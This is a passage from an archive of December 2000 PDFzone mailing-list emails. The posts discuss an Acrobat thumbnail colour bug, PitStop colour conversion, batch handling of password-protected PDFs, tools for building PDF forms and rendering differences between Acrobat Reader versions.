-0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id BAA06621; Mon, 11 Dec 2000 01:29:15 -0600 Received: from smtp.pandora.be (hercules.telenet-ops.be [195.130.132.33]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id BAA06617 for ; Mon, 11 Dec 2000 01:29:14 -0600 Received: (qmail 27482 invoked from network); 11 Dec 2000 07:29:12 -0000 Received: from unknown (HELO bartd) ([213.224.170.197]) (envelope-sender ) by hercules.telenet-ops.be (qmail-ldap-1.03) with SMTP for ; 11 Dec 2000 07:29:12 -0000 From: ""Bart Demeulenaere"" To: Subject: RE: [PDF] Re: Wrong colored thumbnails-another try = lavender Date: Mon, 11 Dec 2000 08:29:12 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 In-Reply-To: <3A33AC09.364E80C4@schuitz.com> Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Raimund, If ytou want to do color conversion on a pdf, without having to redistill the file, you can use Enfocus PitStop Professional. You can do this manually or use an action list to operate on the completely file automatically. Free 30-day trial at www.enfocus.com . Hope this helps, Bart Demeulenaere Enfocus Software > -----Original Message----- > From: owner-pdf@lists.pdfzone.com [mailto:owner-pdf@lists.pdfzone.com]On > Behalf Of Schuitz Grafik Design > Sent: Sunday, December 10, 2000 5:15 PM > To: pdf@lists.pdfzone.com > Subject: Re: [PDF] Re: Wrong colored thumbnails-another try = lavender > > > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > Thanks Maury, Andy, Cy and others out there for thinking about, > > I found out something: > When I pick up the ""white"" square behind the text of > http://www.schuitz.com/error.pdf with Enfocus PowerUp Tool it says it's > calibrated RGB. When I then convert it to CMYK I can delete and > recreate the > thumbnail and it is correct. > > The problem: I cant find a setting in Acrobat to say something like ""pay > attention to RGB"" and I cant convert all stuff in the big > PDF-Files to CMYK, > they are already full of links, bookmarks and annotations and I > would loose them > when I send the files again through the distiller. On the other > hand, often a > source from where the pdf was produced is not available any more. > I'll contimue experimenting... :-) > Raimund > > > > > > Me too! I think that the thumbnail is shaded > > > Receive the latest PDF News in your Inbox. > > ------------------------------------------------------------------ > ---------- > Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 11-Dec-2000 10:58:19-GMT,2449;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id DAA17460 for ; Mon, 11 Dec 2000 03:58:18 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id EAA16072; Mon, 11 Dec 2000 04:58:09 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Mon, 11 Dec 2000 04:51:26 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id EAA15809; Mon, 11 Dec 2000 04:51:24 -0600 Received: from bird.de.uu.net (bird.de.uu.net [193.101.111.15]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id EAA15805 for ; Mon, 11 Dec 2000 04:51:22 -0600 Received: from schuitz.com (pec-26-162.tnt2.me2.uunet.de [149.225.26.162]) by bird.de.uu.net (5.5.5/5.5.5) with ESMTP id LAA08569 for ; Mon, 11 Dec 2000 11:51:20 +0100 (MET) Message-ID: <3A34B1A7.F86AFFE8@schuitz.com> Date: Mon, 11 Dec 2000 11:51:19 +0100 From: Schuitz Grafik Design X-Mailer: Mozilla 4.6 [de] (Win95; I) X-Accept-Language: de MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: Re: [PDF] Re: Wrong colored thumbnails-another try = lavender References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Thanks for Info, I tryed ""Global Changes of PitStop"" and can convert the full pack. Unfortunately the Acrobat honors this method only for some colors, e.g. white, like in the first tests. Other colors even the conversion into cmyk doesn't produce correct colored thumbs. Looks like Acrobat has a bug here. Raimund Bart Demeulenaere schrieb: > If ytou want to do color conversion on a pdf, without having to redistill > the file, you can use Enfocus PitStop Professional. Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 11-Dec-2000 18:47:06-GMT,3439;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id LAA00382 for ; Mon, 11 Dec 2000 11:47:05 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA10043; Mon, 11 Dec 2000 12:46:36 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Mon, 11 Dec 2000 12:36:07 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id MAA09556; Mon, 11 Dec 2000 12:36:05 -0600 Received: from fir.itsd.gov.bc.ca (root@fir.itsd.GOV.BC.CA [142.32.11.82]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA09552 for ; Mon, 11 Dec 2000 12:36:04 -0600 Received: from GEMINI.GOV.BC.CA (gemini.GOV.BC.CA [142.32.4.25]) by fir.itsd.gov.bc.ca (8.9.3/8.9.3) with ESMTP id KAA31208 for ; Mon, 11 Dec 2000 10:35:52 -0800 Received: from pipe.gov.bc.ca (pipe.bcsc.GOV.BC.CA) by venus.gov.bc.ca (PMDF V5.2-31 #35267) with ESMTP id <01JXKPMK7XV4QTKK3G@venus.gov.bc.ca> for pdf@lists.pdfzone.com; Mon, 11 Dec 2000 10:35:51 PST Received: by pipe.bcsc.GOV.BC.CA with Internet Mail Service (5.5.2650.21) id ; Mon, 11 Dec 2000 10:35:51 -0800 Content-return: allowed Date: Mon, 11 Dec 2000 10:35:45 -0800 From: ""Cutler, Wendy SDES:EX"" Subject: RE: [PDF] Re: Wrong colored thumbnails-another try = lavender To: ""'pdf@lists.pdfzone.com'"" Message-id: <7B6C44615062D3118CB10008C7E6A23C0616955A@ocean.GOV.BC.CA> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ But is what Cy guessed the case? Is your page smaller than a full page size, so it's using the colour to indicate the margins of your page? That doesn't sound like a bug so much as an Adobe decision to indicate that using colour. I thought it looked pretty impressive on the thumbnail, with the brackets showing what I assumed were the margins of the page. If there was a problem, I'd see it as Acrobat giving a thumbnail for an 8x11 page, regardless of the size of the actual page. * ^ * ^ * Wendy Cutler Project Co-ordinator, Application Devl & Support ITB, Ministry of Social Development and Economic Security * mailto:Wendy.Cutler@gems2.gov.bc.ca *(604) 660-1591 Fax: (604)775-0846 -----Original Message----- From: Schuitz Grafik Design [mailto:info@schuitz.com] Sent: Monday, December 11, 2000 2:51 AM ... I tryed ""Global Changes of PitStop"" and can convert the full pack. Unfortunately the Acrobat honors this method only for some colors, e.g. white, like in the first tests. Other colors even the conversion into cmyk doesn't produce correct colored thumbs. Looks like Acrobat has a bug here. Raimund Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 12-Dec-2000 10:52:33-GMT,3224;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id DAA23543 for ; Tue, 12 Dec 2000 03:52:32 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id EAA16113; Tue, 12 Dec 2000 04:52:16 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 12 Dec 2000 04:43:23 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id EAA15664; Tue, 12 Dec 2000 04:43:20 -0600 Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id EAA15660 for ; Tue, 12 Dec 2000 04:43:19 -0600 Received: from merlin-os.demon.co.uk ([194.222.123.109]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 145mtw-000LWY-0Y for pdf@lists.pdfzone.com; Tue, 12 Dec 2000 10:43:17 +0000 Message-ID: Date: Tue, 12 Dec 2000 10:36:28 +0000 To: pdf@lists.pdfzone.com From: David R Evans Subject: Re: [PDF] PDF Decryption References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike (32) Version 4.01 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ In message , Jeanie.Shoemaker@firstdatacorp.com wrote: >Ouch. I don't use passwords, so I've not run into that problem. Options >says that you enter the passwords once and then the program stores them for >reuse instead of asking for them again...but I don't know if that means you >have to enter them once for each file, or once for each batch process. >(Download a demo of Options to test it.) > >David Evans...can you answer this? You only get asked for each different password once, so only one password request for each set of files sharing the same password. Options checks which files need passwords before processing, so once it starts the batch processing no more user input should be required. Regards David --------------------------------------------------------------------------- Dr David R Evans Telephone: (+44) 115 9524333 / 9514230 Merlin Open Systems Facsimile: (+44) 115 9472625 P O Box 230 E-mail: dre@merlin-os.co.uk NOTTINGHAM WWW: http://www.merlin-os.co.uk/ NG2 1LJ, UK Acrobat resellers, specialists in Adobe Acrobat plug-ins and electronic publishing software Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 12-Dec-2000 12:08:05-GMT,2568;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id FAA24916 for ; Tue, 12 Dec 2000 05:08:04 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id GAA19419; Tue, 12 Dec 2000 06:07:17 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 12 Dec 2000 06:00:47 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id GAA19029; Tue, 12 Dec 2000 06:00:44 -0600 Received: from bird2.de.uu.net (bird2.de.uu.net [193.101.111.28]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id GAA19025 for ; Tue, 12 Dec 2000 06:00:42 -0600 Received: from schuitz.com (pec-74-239.tnt6.me.uunet.de [149.225.74.239]) by bird2.de.uu.net (5.5.5/5.5.5) with ESMTP id NAA16516 for ; Tue, 12 Dec 2000 13:00:40 +0100 (MET) Message-ID: <3A361366.4F827184@schuitz.com> Date: Tue, 12 Dec 2000 13:00:38 +0100 From: Schuitz Grafik Design X-Mailer: Mozilla 4.6 [de] (Win95; I) X-Accept-Language: de MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: Re: [PDF] Re: Wrong colored thumbnails-another try = lavender References: <7B6C44615062D3118CB10008C7E6A23C0616955A@ocean.GOV.BC.CA> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Thanks for the idea, Wendy, but test page was full DIN-A4-Format (the EU-standard Acrobat can handle pretty well). The lavender square behind the text was a part inside the page for demo of effect. I just will try out different machines and combinations. When I find something I'll be back to the list with result. From german technical support of Adobe I got the message, that they can see the effect but dont have a solution right now. Raimund > I thought it looked pretty impressive on the thumbnail, with the brackets > showing what I assumed were the margins of the page. Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 12-Dec-2000 13:07:53-GMT,3035;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id GAA26051 for ; Tue, 12 Dec 2000 06:07:52 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id HAA23613; Tue, 12 Dec 2000 07:07:38 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 12 Dec 2000 07:01:04 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id HAA23249; Tue, 12 Dec 2000 07:01:02 -0600 Received: from smtp.pandora.be (hercules.telenet-ops.be [195.130.132.33]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id HAA23245 for ; Tue, 12 Dec 2000 07:01:01 -0600 Received: (qmail 16131 invoked from network); 12 Dec 2000 13:00:57 -0000 Received: from unknown (HELO gremlin2) ([213.224.170.197]) (envelope-sender ) by hercules.telenet-ops.be (qmail-ldap-1.03) with SMTP for ; 12 Dec 2000 13:00:57 -0000 From: ""Andy Den Tandt"" To: Subject: RE: [PDF] Re: Wrong colored thumbnails-another try = lavender Date: Tue, 12 Dec 2000 14:00:55 +0100 Message-ID: <000701c0643b$9159bf80$0400a8c0@gremlin2> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal In-Reply-To: <3A361366.4F827184@schuitz.com> Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Hi, To me, it looks like an Acrobat bug. I distilled a simple text file as screen-optimized and I used PitStop to change the tint of the calibrated RGB to white. When I then created the thumbnails, lavender text appeared! Conclusion: Calibrated RGB looks blue in a thumbnail. PS. When you want to convert all colors in a document to RGB with PitStop, it is better to use a ""convert to RGB"" action. You can find a predefined actionlist at http://www.enfocus.com/support/actionlistlib/actionlist-index.htm Kind regards, Andy Den Tandt ============================================ Andy Den Tandt Software Development Engineer Enfocus Software Kleindokkaai 3-5 B-9000 Gent Belgium Voice: +32 9 269 16 90 Fax : +32 9 269 16 91 Email: andydt@enfocus.be web : www.enfocus.com ============================================ Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 12-Dec-2000 16:51:24-GMT,2632;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id JAA01582 for ; Tue, 12 Dec 2000 09:51:23 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA03104; Tue, 12 Dec 2000 10:51:02 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 12 Dec 2000 10:40:48 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id KAA02375; Tue, 12 Dec 2000 10:40:42 -0600 Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA02359 for ; Tue, 12 Dec 2000 10:40:33 -0600 Received: from lpiper.demon.co.uk ([158.152.165.240] helo=postle.net) by finch-post-10.mail.demon.net with esmtp (Exim 2.12 #1) id 145sTc-000ITG-0A for pdf@lists.pdfzone.com; Tue, 12 Dec 2000 16:40:29 +0000 Message-ID: <3A3654D9.9CC4B3E4@postle.net> Date: Tue, 12 Dec 2000 16:39:53 +0000 From: Denis X-Mailer: Mozilla 4.7 [en-gb] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: [PDF] Petruska Clarkson Open Letter Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Hello all, Petruska Clarkson has written a long and remarkable personal testament in witness of her experiences of challenging the UKCP approach to complaints. She's a very articulate complainant and her piece sheds light on a variety of aspects of 'compliants/concerns/disputes that are relevant to IPN. You can find the article 'Open letter to Janet Boakes [UKCP chair]....' at www.physis.co.uk/open.htm ... I've put up links to it on IPNOSIS and G.O.R.I.L.L.A. and if her site is inacessible there is a downloadable copy on G.O.R.I.L.L.A. I had a clear reaction from Petruska's office yesterday that she could do with hearing from anyone who is inclined to support her in her whistle-blowing. Greetings Denis Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 12-Dec-2000 17:28:28-GMT,2849;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id KAA02668 for ; Tue, 12 Dec 2000 10:28:27 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA06152; Tue, 12 Dec 2000 11:28:02 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 12 Dec 2000 11:22:22 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id LAA05778; Tue, 12 Dec 2000 11:22:21 -0600 Received: from aladdin.com (aladdin.com [209.157.132.18]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA05774 for ; Tue, 12 Dec 2000 11:22:18 -0600 Received: (from daemon@localhost) by aladdin.com (8.9.1/8.9.1) id JAA06952; Tue, 12 Dec 2000 09:59:12 -0800 Received: from UNKNOWN(10.0.0.4), claiming to be ""aladdin.com"" via SMTP by cave.aladdin.com, id smtpda06950; Tue Dec 12 09:59:04 2000 Received: (from ghost@localhost) by aladdin.com (8.9.1/8.9.1) id JAA11053; Tue, 12 Dec 2000 09:24:02 -0800 Date: Tue, 12 Dec 2000 09:24:02 -0800 Message-Id: <200012121724.JAA11053@aladdin.com> From: ""L. Peter Deutsch"" To: denis@postle.net CC: pdf@lists.pdfzone.com In-reply-to: <3A3654D9.9CC4B3E4@postle.net> (message from Denis on Tue, 12 Dec 2000 16:39:53 +0000) Subject: Re: [PDF] Petruska Clarkson Open Letter References: <3A3654D9.9CC4B3E4@postle.net> Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Since your posting didn't explain what UKCP is, and since the posting referred to IPN which I took as being Intellectual Property Network, I went to read the reference you gave (http://www.physis.co.uk/open.htm) on the off chance that it had something to do with the topic of this list. It doesn't -- it's an extremely long and rambling series of letters about someone's intense dispute with the UK (British) psychotherapy establishment. Please don't send such completely off-topic posts to this list again. Thank you. -- L. Peter Deutsch | Aladdin Enterprises ghost@aladdin.com | http://www.aladdin.com | 203 Santa Margarita Ave. | fax +1-650-322-1734 | Menlo Park, CA 94025 The future of software is at http://www.opensource.org Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 12-Dec-2000 21:43:45-GMT,6029;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id OAA09963 for ; Tue, 12 Dec 2000 14:43:45 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA21042; Tue, 12 Dec 2000 15:42:48 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 12 Dec 2000 15:29:54 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id PAA20259; Tue, 12 Dec 2000 15:29:52 -0600 Received: from web3702.mail.yahoo.com (web3702.mail.yahoo.com [204.71.203.131]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id PAA20255 for ; Tue, 12 Dec 2000 15:29:50 -0600 Message-ID: <20001212212934.7370.qmail@web3702.mail.yahoo.com> Received: from [216.160.172.6] by web3702.mail.yahoo.com; Tue, 12 Dec 2000 13:29:34 PST Date: Tue, 12 Dec 2000 13:29:34 -0800 (PST) From: Ivy Wood Subject: [PDF] tools recommendation / Win200 question To: PDF Zone discuss MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Good day. I could use your help identifying which tools or plugins are recommended for the work that I am doing. I work on Win98 but our IT department wants me to graduate to Win2000. I am resisting because I know that WinNT which Win2000 is derived from is not PostScript friendly. Is anyone out there successfully creating very small PDFs under Win2000? I create forms which our software's UI gathers the information/data for and the logical model we create decides which forms to print and populate the fields of. The end users of my forms will Never interact with the PDF- only with the software's user interface which is browser based. The PDFs are streamed to the client at the end of their session simply so that they have a set of forms documenting the transactions they made in the software. So I create intelligent PDF forms but not interactive ones. My job has several major parts. Part One - I create forms which are converted to PDF forms but also need to be filled out by hand therefore I do not add drop down lists or other GUI objects to these forms. Currently I am using MSPublisher 2000 because it was available but will probably switch to a ""PostScript"" aware software tool shortly such as Corel Ventura. Part Two - PDFs are sent to me from sources that I have no control over. These are forms to which I will be adding form fields. These PDFs have often not been optimized for desktop printing. Looks like they turn the press piece into a PDF and then think that will serve for desktop as well. So paper sizes may not have been standardized - some of them even have text that is clipped if ""fit to paper"" is not selected. They might have bleeds or very large blocks of color (toner wasters) or page numbers that are no longer accurate. I will need to try to fix these problems so that the PDF forms can be printed to desktop printers. Part Three - On occasion, I may need to scan some forms, create a PDF of it and add form fields. The scanner is on the way but I assume some kind of Acrobat plugin might be helpful here say for deskewing and making the lines on the form of consistent weight, color and etc. Part Four - Form Fields, forms field, form fields. Some of the PDFs mentioned above might be several pages with a hundred or so form fields. Right now I have to double click on each one to be sure that I've appropriately assigned attributes, formatting and/or scripts. It would be nice to find some kind of form field reporting software that would help me manage and document all of these fields. I am considering purchasing PitStop Pro. from Enfocus. I hope their product will enable me to adjust the alien PDFs for desktop printing (Part Two) plus assist with the form scanning (Part Three). But I'm not sure if I need other software from Enfocus or if PitStop will do all that I need. Or perhaps there is another vendor/product that would be helpful. The form field reporting is VERY important. Anything that will help me manage all these fields in a quick and easy way will be a great asset. At this time, I am more interested in purchasing an off-the shelf solution or two and won't be able to put in the time needed to analyze solutions which developer contractors may offer to design. What do you recommend? Please be as specific as possible: Vendor/Manufacturer, Product, Product version, how you believe it will help, website for more info., and etc. Thanks for the input regarding my PDF specifications which I posted earlier. It is still online http://www.concentric.net/~Ivyjeff/WebWorks/ if you'd like to take a look. I have yet to update it with the advice that I received from the list. Most of which related to the Fonts section. The recommendation was to remove the section regarding ""never embed the Base 14 fonts"". However, I may leave it in because I KNOW the demographics of my user base and I'm trying to make my file sizes the smallest I possibly can. I will test and research this further. Thanks! ===== Ivy Wood Content Developer 303-440-8833 ext. 125 www.streampoint.com work: ivyw@streampoint.com personal: ivy_wood@yahoo.com family: IvyJeff@concentric.net __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 12-Dec-2000 21:54:04-GMT,3968;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id OAA10294 for ; Tue, 12 Dec 2000 14:54:03 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA21906; Tue, 12 Dec 2000 15:53:16 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 12 Dec 2000 15:46:23 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id PAA21335; Tue, 12 Dec 2000 15:46:21 -0600 Received: from monona.rhome.net (71.monona.msn.vtom.com [216.145.166.71]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA21330 for ; Tue, 12 Dec 2000 15:46:15 -0600 Received: from w042.omnipress.com ([216.145.167.34]) by monona.rhome.net (Post.Office MTA v3.5.3 release 223 ID# 0-12345L500S10000V35) with SMTP id net for ; Tue, 12 Dec 2000 15:46:14 -0600 Message-Id: <4.3.2.7.0.20001212153127.00b3d290@mail.omnipress.com> X-Sender: uschan@mail.omnipress.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 12 Dec 2000 15:45:17 -0600 To: pdf@lists.pdfzone.com From: uschan@omnipress.com (Chris Uschan) Subject: [PDF] Single Stripped PDFs from Image and Text Scans (remembered) Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Remember this issue ??? About 8 - 12 months ago there was a lot of talk about a tiny white horizontal line that appeared through the text (on screen). Resolutions were out there to use products other than Adobe Capture 2.01 (at the time). PageGenie was an application that addressed this issue successfully while Capture was taking a left turn to Capture 3.0 (NT based). Well, interesting enough I have encountered some new twists. I have not went out there (adobe or the web) and tried to figure out how many different versions of free Acrobat Reader there are, but I do know there are 2 versions that render different results. Looking at these 2 versions listed below I found different results. Version 4.05c 0705 16:28 - Use this version with single striped image PDFs and ""white lines"" appear. Version 4.0 0513 09:57 - Problem resolved. - no lines. The weird thing is that I thought by getting to the 4.05c version and staying current (webBuy) this would not be an issue. I guess I am wrong... Also makes you think about the issue if you are archiving PDF from paper and planning to perhaps use the Merchant/Webbuy options. I do not need a solution as I have it in the paragraph above. But I do think about why we had to move away from a Adobe product. I surely am not digging into this reason, but thought I would stir the pot a little as well as offer this interesting point to the one or two of you that have interest in this area. Any insight back is appreciated, but not expected. Happy Holidays- Christopher Uschan Manager of Digital Resources ------------------------- OMNIPRESS 2600 Anderson Street Madison, WI 53704 USA Toll Free: 800-828-0305 Phone: 608-246-2600 Fax: 608-246-4237 http://www.omnipress.com -------------------------- Omnipress specializes in Printed Books, CD-ROM products, and Online Proceedings and Abstract Collections. Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 12-Dec-2000 22:00:32-GMT,7277;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id PAA10482 for ; Tue, 12 Dec 2000 15:00:31 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA22539; Tue, 12 Dec 2000 15:59:51 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 12 Dec 2000 15:53:05 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id PAA21870; Tue, 12 Dec 2000 15:53:03 -0600 Received: from megamail.dsl.net (megamail.dsl.net [209.87.64.97]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA21863 for ; Tue, 12 Dec 2000 15:53:01 -0600 Received: from goprep.com (64-51-1-106.client.dsl.net [64.51.1.106]) by megamail.dsl.net (8.9.3/8.9.3) with ESMTP id QAA22041 for ; Tue, 12 Dec 2000 16:52:57 -0500 Message-ID: <3A369FA7.2553B388@goprep.com> Date: Tue, 12 Dec 2000 17:00:30 -0500 From: cjmarch X-Mailer: Mozilla 4.73 (Macintosh; U; PPC) X-Accept-Language: en MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: Re: [PDF] tools recommendation / Win200 question References: <20001212212934.7370.qmail@web3702.mail.yahoo.com> Content-Type: text/plain; charset=us-ascii; x-mac-type=""54455854""; x-mac-creator=""4D4F5353"" Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by 